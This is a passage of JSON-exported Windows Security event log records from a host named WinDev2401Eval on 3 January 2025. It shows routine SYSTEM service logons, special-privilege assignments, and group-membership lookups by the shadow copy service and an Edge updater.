AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:12:33.456438Z"}},"EventRecordID":21482,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:12:33.456442Z"}},"EventRecordID":21483,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:13:53.793118Z"}},"EventRecordID":21484,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Users","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-545","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x404","CallerProcessName":"C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{375B9C6C-4C26-4F96-A729-87140DD827C6}\\EDGEMITMP_1B69D.tmp\\setup.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:13:54.591944Z"}},"EventRecordID":21485,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:13:54.591949Z"}},"EventRecordID":21486,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:14:27.198065Z"}},"EventRecordID":21487,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:14:27.198073Z"}},"EventRecordID":21488,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:21.992598Z"}},"EventRecordID":21489,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:21.992602Z"}},"EventRecordID":21490,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.005181Z"}},"EventRecordID":21491,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.005375Z"}},"EventRecordID":21492,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.005717Z"}},"EventRecordID":21493,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.005720Z"}},"EventRecordID":21494,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.008527Z"}},"EventRecordID":21495,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.008671Z"}},"EventRecordID":21496,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.011043Z"}},"EventRecordID":21497,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.011182Z"}},"EventRecordID":21498,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.012453Z"}},"EventRecordID":21499,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:22.012611Z"}},"EventRecordID":21500,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x159c","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.695121Z"}},"EventRecordID":21501,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.695124Z"}},"EventRecordID":21502,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:24.122887Z"}},"EventRecordID":21503,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:24.122890Z"}},"EventRecordID":21504,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT 